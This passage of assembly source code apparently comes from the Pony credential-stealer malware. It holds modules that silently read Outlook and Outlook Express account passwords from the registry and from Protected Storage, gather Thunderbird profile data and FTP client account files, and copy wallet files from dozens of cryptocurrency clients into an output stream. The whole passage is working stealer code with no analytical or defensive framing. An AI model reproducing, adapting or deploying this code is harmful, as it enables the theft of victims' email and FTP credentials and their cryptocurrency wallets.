hkHandle: DWORD LOCAL KeyIndex: DWORD LOCAL dwBufLen: DWORD LOCAL lpBuf[2048]: BYTE LOCAL S: DWORD invoke RegOpenKey, reg_key, BasePath, addr hkHandle .IF !eax mov KeyIndex, 0 .WHILE TRUE mov dwBufLen, 2047 invoke RegEnumKeyEx, hkHandle, KeyIndex, addr lpBuf, addr dwBufLen, NULL, NULL, NULL, NULL .IF eax .BREAK .ENDIF invoke PonyStrCat, BasePath, addr szSlash mov edx, eax invoke PonyStrCatFreeArg1, edx, addr lpBuf invoke PonyStrCatFreeArg1, eax, add_path mov S, eax invoke OutlookScanPasswords, stream, reg_key, S invoke MemFree, S inc KeyIndex .ENDW invoke RegCloseKey, hkHandle .ENDIF ret OutlookScanProfiles endp OutlookExport proc uses edi dwType, lpName, pData, pDataLen, stream, guid, do_decode LOCAL guid_str[100]: BYTE LOCAL string: DWORD LOCAL ansi_name: DWORD ; convert unicode item name to ansi invoke UnicodeToAnsi, lpName .IF !eax ret .ENDIF mov ansi_name, eax ; convert guid to a string mov edi, guid movzx eax, [edi].GUID.Data4[7] push eax movzx eax, [edi].GUID.Data4[6] push eax movzx eax, [edi].GUID.Data4[5] push eax movzx eax, [edi].GUID.Data4[4] push eax movzx eax, [edi].GUID.Data4[3] push eax movzx eax, [edi].GUID.Data4[2] push eax movzx eax, [edi].GUID.Data4[1] push eax movzx eax, [edi].GUID.Data4[0] push eax movzx eax, [edi].GUID.Data3 push eax movzx eax, [edi].GUID.Data2 push eax push [edi].GUID.Data1 push offset COutlookGUIDFmt lea eax, guid_str push eax call wsprintf add esp, 34h .IF do_decode ; do a unicode->ansi decode invoke UnkTextToAnsi, pData, pDataLen .IF eax mov string, eax invoke StreamWriteDWORD, stream, dwType invoke StreamWriteString, stream, ansi_name invoke StreamWriteString, stream, addr guid_str invoke StreamWriteString, stream, string invoke MemFree, string .ENDIF .ELSE ; plain text data export invoke StreamWriteDWORD, stream, dwType invoke StreamWriteString, stream, ansi_name invoke StreamWriteString, stream, addr guid_str invoke StreamWriteBinaryString, stream, pData, pDataLen .ENDIF invoke MemFree, ansi_name ret OutlookExport endp OutlookReadPSItemValue proc pType, pSubtype, pItem, stream, ppProvider LOCAL szType[1024]: BYTE LOCAL szSubtype[1024]: BYTE LOCAL szItem[1024]: BYTE LOCAL pspi: _PST_PROMPTINFO LOCAL pData, pDataLen: DWORD LOCAL dwType: DWORD ; Get readable names, convert them to ANSI strings invoke TypeNameToStr, pType, addr szType, ppProvider invoke SubtypeNameToStr, pType, pSubtype, addr szSubtype, ppProvider invoke WideCharToMultiByte, CP_ACP, 0, pItem, -1, addr szItem, 1023, NULL, NULL ; Set prompt info structure mov pspi.cbSize, sizeof _PST_PROMPTINFO mov pspi.dwPromptFlags, PST_PF_NEVER_SHOW mov pspi.hwndApp, 0 mov pspi.szPrompt, 0 ; pData pointer is allocated automaticly and should be freed using ; CoTaskMemFree function coinvoke ppProvider, IPStore, ReadItem, 0, pType, pSubtype, pItem, addr pDataLen, addr pData, addr pspi, 0 cmp pDataLen, 0 jz @ret cmp pData, 0 jz @ret @@: ; Validate types invoke lstrcmpi, addr szType, offset COutlookTypeIdent1 test eax, eax jz @scan_item invoke lstrcmpi, addr szType, offset COutlookTypeIdent2 test eax, eax jnz @F @scan_item: ; Validate subtypes mov dwType, ITEMHDR_ID or 5 invoke lstrcmpi, addr szSubtype, offset COutlookSubtype1 test eax, eax jz @read_item mov dwType, ITEMHDR_ID or 6 invoke lstrcmpi, addr szSubtype, offset COutlookSubtype2 test eax, eax jz @read_item mov dwType, ITEMHDR_ID or 7 invoke lstrcmpi, addr szSubtype, offset COutlookSubtype3 test eax, eax jnz @F @read_item: .IF dwType == ITEMHDR_ID or 7 invoke OutlookExport, dwType, pItem, pData, pDataLen, stream, pSubtype, FALSE .ELSE invoke OutlookExport, dwType, pItem, pData, pDataLen, stream, pSubtype, TRUE .ENDIF @@: invoke CoTaskMemFree, pData @ret: ret OutlookReadPSItemValue endp OutlookScanPS proc stream LOCAL ppProvider: DWORD .IF MyPStoreCreateInstance mov ppProvider, NULL ; Get interface to IPStore sub eax, eax push eax push eax push eax lea edx, ppProvider push edx call MyPStoreCreateInstance test eax, eax .IF !SUCCEEDED jmp @ret .ENDIF .IF !ppProvider jmp @ret .ENDIF ; Read Protected Storage data invoke ReadPSTypes, stream, ppProvider, offset OutlookReadPSItemValue ; Release interface coinvoke ppProvider, IPStore, Release .ENDIF @ret: ret OutlookScanPS endp GrabOutlook proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_OUTLOOK, 0 mov hdr_ofs, eax invoke DecipherList, offset COutlookRegValues invoke DecipherList, offset COutlookBinaryValues invoke DecipherList, offset COutlookPassValues invoke DecipherList, offset COutlookPassValues2 invoke OutlookScanPS, stream ; Express 1: HKEY_CURRENT_USER\Software\Microsoft\Internet Account Manager\Accounts\00000001 invoke OutlookScanPasswords, stream, dwCurrentUserKey, offset CExpressBasePath1 ; Express 2: HKEY_CURRENT_USER\Identities\{GUID}\Software\Microsoft\Internet Account Manager\Accounts\00000001 invoke PonyStrCat, offset szSlash, offset CExpressBasePath1 push eax invoke OutlookScanProfiles, stream, dwCurrentUserKey, offset CExpressBasePath2, eax call MemFree ; Outlook 2000: custom reg. path invoke RegReadValueStr, HKEY_LOCAL_MACHINE, offset COutlookExtraPath, offset COutlookValue, NULL .IF eax invoke PonyStrCatFreeArg1, eax, offset COutlookAccounts push eax invoke OutlookScanPasswords, stream, dwCurrentUserKey, eax call MemFree .ENDIF ; Outlook 2000: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts invoke OutlookScanPasswords, stream, dwCurrentUserKey, offset COutlook2000BasePath ; Outlook 2002: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings invoke OutlookScanProfiles, stream, dwCurrentUserKey, offset COutlook2002BasePath, NULL ; Outlook 2003+: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook invoke OutlookScanProfiles, stream, dwCurrentUserKey, offset COutlook2003BasePath, NULL invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabOutlook endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Thunderbird ; Tested: Version 13.0 IFDEF COMPILE_MODULE_THUNDERBIRD .data szMozillaThunderbird db 'Thunderbird',0 szMozillaThunderbirdBaseRegPath db '\Thunderbird',0 .code GrabThunderbird proc stream LOCAL hdr_ofs: DWORD LOCAL szCurPath[MAX_PATH+1]: BYTE invoke StreamWriteModuleHeader, stream, MODULE_THUNDERBIRD, 0 mov hdr_ofs, eax ; Collect passwords mov mozilla_mode, MOZILLA_MODE_EMAIL invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaThunderbird, offset szMozillaThunderbirdBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaThunderbird, offset szMozillaThunderbirdBaseRegPath invoke SetCurrentDirectory, addr szCurPath ; Collect e-mail config files mov mozilla_mode, MOZILLA_MODE_EMAIL_CONFIG invoke GetCurrentDirectory, MAX_PATH, addr szCurPath invoke MozillaScanRegProfilePaths, stream, dwCurrentUserKey, offset szMozillaBaseRegPath, offset szMozillaThunderbird, offset szMozillaThunderbirdBaseRegPath invoke MozillaScanRegProfilePaths, stream, HKEY_LOCAL_MACHINE, offset szMozillaBaseRegPath, offset szMozillaThunderbird, offset szMozillaThunderbirdBaseRegPath invoke SetCurrentDirectory, addr szCurPath invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabThunderbird endp ENDIF ENDIF ; GRAB_EMAIL ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FastTrackFTP ; http://www.fasttrackftp.com ; Tested: FastTrackFTP 2008 ; SFTP: implemented IFDEF COMPILE_MODULE_FASTTRACK .data CFastTrackUninst db 'FastTrack',0 CFastTrackIniMask db 'ftplist.txt',0 .code GrabFastTrack proc uses esi edi stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FASTTRACK, 0 mov hdr_ofs, eax mov esi, lpInstalledList mov edi, lpInstalledNames .IF byte ptr[edi] @n: invoke StrStrI, edi, offset CFastTrackUninst .IF eax invoke ExtractFilePath, esi push eax invoke CommonFileScan, stream, eax, offset CFastTrackIniMask, ITEMHDR_ID or 0 call MemFree .ENDIF .WHILE byte ptr[esi] inc esi .ENDW inc esi @Next @n .ENDIF invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFastTrack endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bitcoin ; http://bitcoin.org ; Tested: 0.8.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BITCOIN .data CBitconWalletFile db 'wallet.dat',0 CBitcoinAppDataDir db '\Bitcoin',0 .code GrabBitcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BITCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBitcoinAppDataDir, offset CBitconWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBitcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Electrum ; http://electrum.org/ ; Tested: 1.7.3 ; SFTP: not supported IFDEF COMPILE_MODULE_ELECTRUM .data CElectrumWalletFile db 'electrum.dat',0 CElectrumAppDataDir db '\Electrum',0 .code GrabElectrum proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ELECTRUM, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CElectrumAppDataDir, offset CElectrumWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabElectrum endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; MultiBit ; http://multibit.org ; Tested: 0.5.9 ; SFTP: not supported IFDEF COMPILE_MODULE_ELECTRUM .data CMultiBitWalletFile db '.wallet',0 CMultiBitAppDataDir db '\MultiBit',0 .code GrabMultiBit proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MULTIBIT, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMultiBitAppDataDir, offset CMultiBitWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMultiBit endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; FTP Disk ; Tested: ver 1.2 ; SFTP: implemented IFDEF COMPILE_MODULE_FTPDISK .data CFTPDiskAccountsFile db 'Accounts.ini',0 CFTPDiskAppDataDir db '\Maxprog\FTP Disk',0 .code GrabFTPDisk proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FTPDISK, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFTPDiskAppDataDir, offset CFTPDiskAccountsFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFTPDisk endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Litecoin ; https://litecoin.org/ ; Tested: v0.8.5.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_LITECOIN .data CLitecoinWalletFile db 'wallet.dat',0 CLitecoinAppDataDir db '\Litecoin',0 .code GrabLitecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_LITECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CLitecoinAppDataDir, offset CLitecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabLitecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Namecoin ; http://namecoin.info/ ; Tested: 0.3.72 ; SFTP: not supported IFDEF COMPILE_MODULE_LITECOIN .data CNamecoinWalletFile db 'wallet.dat',0 CNamecoinAppDataDir db '\Namecoin',0 .code GrabNamecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NAMECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNamecoinAppDataDir, offset CNamecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNamecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Terracoin ; http://www.terracoin.org/ ; Tested: v0.8.0.2 ; SFTP: not supported IFDEF COMPILE_MODULE_TERRACOIN .data CTerracoinWalletFile db 'wallet.dat',0 CTerracoinAppDataDir db '\Terracoin',0 .code GrabTerracoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_TERRACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CTerracoinAppDataDir, offset CTerracoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabTerracoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Bitcoin Armory ; https://bitcoinarmory.com/ ; Tested: Version 0.90-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BITCOINARMORY .data CBitcoinArmoryWalletFile db '.wallet',0 CBitcoinArmoryAppDataDir db '\Armory',0 .code GrabBitcoinArmory proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BITCOINARMORY, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBitcoinArmoryAppDataDir, offset CBitcoinArmoryWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBitcoinArmory endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; PPCoin (Peercoin) ; https://ppcoin.com/ ; Tested: v.0.3.0ppc-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PPCOIN .data CPPCoinWalletFile db 'wallet.dat',0 CPPCoinAppDataDir db '\PPCoin',0 .code GrabPPCoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PPCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPPCoinAppDataDir, offset CPPCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPPCoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Primecoin ; http://primecoin.org/ ; Tested: v0.1.2xpm-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PRIMECOIN .data CPrimecoinWalletFile db 'wallet.dat',0 CPrimecoinAppDataDir db '\Primecoin',0 .code GrabPrimecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PRIMECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CPrimecoinAppDataDir, offset CPrimecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabPrimecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Feathercoin ; http://feathercoin.com/ ; Tested: v0.6.4.4 ; SFTP: not supported IFDEF COMPILE_MODULE_PRIMECOIN .data CFeathercoinWalletFile db 'wallet.dat',0 CFeathercoinAppDataDir db '\Feathercoin',0 .code GrabFeathercoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FEATHERCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFeathercoinAppDataDir, offset CFeathercoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFeathercoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; NovaCoin ; http://novaco.in/ ; Tested: v0.4.4.0-g32a928e-beta ; SFTP: not supported IFDEF COMPILE_MODULE_NOVACOIN .data CNovaCoinWalletFile db 'wallet.dat',0 CNovaCoinAppDataDir db '\NovaCoin',0 .code GrabNovaCoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_NOVACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CNovaCoinAppDataDir, offset CNovaCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabNovaCoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Freicoin ; http://freico.in/ ; Tested: v0.8.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_FREICOIN .data CFreicoinWalletFile db 'wallet.dat',0 CFreicoinAppDataDir db '\Freicoin',0 .code GrabFreicoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FREICOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFreicoinAppDataDir, offset CFreicoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFreicoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Devcoin ; http://devcoin.org/ ; Tested: version 0.3.25.1-beta ; SFTP: not supported IFDEF COMPILE_MODULE_DEVCOIN .data CDevcoinWalletFile db 'wallet.dat',0 CDevcoinAppDataDir db '\Devcoin',0 .code GrabDevcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DEVCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CDevcoinAppDataDir, offset CDevcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDevcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Frankocoin ; http://frankos.org/ ; Tested: v0.8.4.1-16-g5f1dafe-bet ; SFTP: not supported IFDEF COMPILE_MODULE_FRANKOCOIN .data CFrankocoinWalletFile db 'wallet.dat',0 CFrankocoinAppDataDir db '\Franko',0 .code GrabFrankocoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_FRANKOCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CFrankocoinAppDataDir, offset CFrankocoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabFrankocoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; ProtoShares ; http://invictus-innovations.com/protoshares ; Tested: v0.8.5.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_PROTOSHARES .data CProtoSharesWalletFile db 'wallet.dat',0 CProtoSharesAppDataDir db '\ProtoShares',0 .code GrabProtoShares proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_PROTOSHARES, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CProtoSharesAppDataDir, offset CProtoSharesWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabProtoShares endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Megacoin ; http://www.megacoin.co.nz ; Tested: v0.8.996.0MEGA-beta ; SFTP: not supported IFDEF COMPILE_MODULE_MEGACOIN .data CMegacoinWalletFile db 'wallet.dat',0 CMegacoinAppDataDir db '\Megacoin',0 .code GrabMegacoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_MEGACOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CMegacoinAppDataDir, offset CMegacoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabMegacoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Quarkcoin ; http://www.quarkcoin.com/ ; Tested: v0.8.3.0-g09e437b-beta ; SFTP: not supported IFDEF COMPILE_MODULE_QUARKCOIN .data CQuarkcoinWalletFile db 'wallet.dat',0 CQuarkcoinAppDataDir db '\Quarkcoin',0 .code GrabQuarkcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_QUARKCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CQuarkcoinAppDataDir, offset CQuarkcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabQuarkcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; WorldCoin ; http://worldcoin.in ; Tested: v0.6.4.4-ga7433e7-beta ; SFTP: not supported IFDEF COMPILE_MODULE_WORLDCOIN .data CWorldCoinWalletFile db 'wallet.dat',0 CWorldCoinAppDataDir db '\Worldcoin',0 .code GrabWorldcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_WORLDCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CWorldCoinAppDataDir, offset CWorldCoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabWorldcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Infinitecoin ; http://infinitecoin.com/ ; Tested: v1.8.0.0 ; SFTP: not supported IFDEF COMPILE_MODULE_WORLDCOIN .data CInfinitecoinWalletFile db 'wallet.dat',0 CInfinitecoinAppDataDir db '\Infinitecoin',0 .code GrabInfinitecoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_INFINITECOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CInfinitecoinAppDataDir, offset CInfinitecoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabInfinitecoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Ixcoin ; http://ixcoin.org/ ; Tested: 0.3.24.30-beta ; SFTP: not supported IFDEF COMPILE_MODULE_IXCOIN .data CIxcoinWalletFile db 'wallet.dat',0 CIxcoinAppDataDir db '\Ixcoin',0 .code GrabIxcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_IXCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CIxcoinAppDataDir, offset CIxcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabIxcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Anoncoin ; https://anoncoin.net ; Tested: v0.7.4b-5-gd36ff9d-beta ; SFTP: not supported IFDEF COMPILE_MODULE_IXCOIN .data CAnoncoinWalletFile db 'wallet.dat',0 CAnoncoinAppDataDir db '\Anoncoin',0 .code GrabAnoncoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_ANONCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CAnoncoinAppDataDir, offset CAnoncoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabAnoncoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; BBQcoin ; http://bbqcoin.org/ ; Tested: v0.6.3.0-unk-beta ; SFTP: not supported IFDEF COMPILE_MODULE_BBQCOIN .data CBBQcoinWalletFile db 'wallet.dat',0 CBBQcoinAppDataDir db '\BBQcoin',0 .code GrabBBQcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_BBQCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CBBQcoinAppDataDir, offset CBBQcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabBBQcoin endp ENDIF ; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ; Digitalcoin ; http://digitalcoin.co/en/ ; Tested: v1.0.0.0-g3aaa7ba-beta ; SFTP: not supported IFDEF COMPILE_MODULE_DIGITALCOIN .data CDigitalcoinWalletFile db 'wallet.dat',0 CDigitalcoinAppDataDir db '\Digitalcoin',0 .code GrabDigitalcoin proc stream LOCAL hdr_ofs: DWORD invoke StreamWriteModuleHeader, stream, MODULE_DIGITALCOIN, 0 mov hdr_ofs, eax invoke AppDataCommonFileScan, stream, offset CDigitalcoinAppDataDir, offset CDigitalcoinWalletFile, ITEMHDR_ID or 0 invoke StreamUpdateModuleLen, stream, hdr_ofs ret GrabDigitalcoin endp ENDIF ; 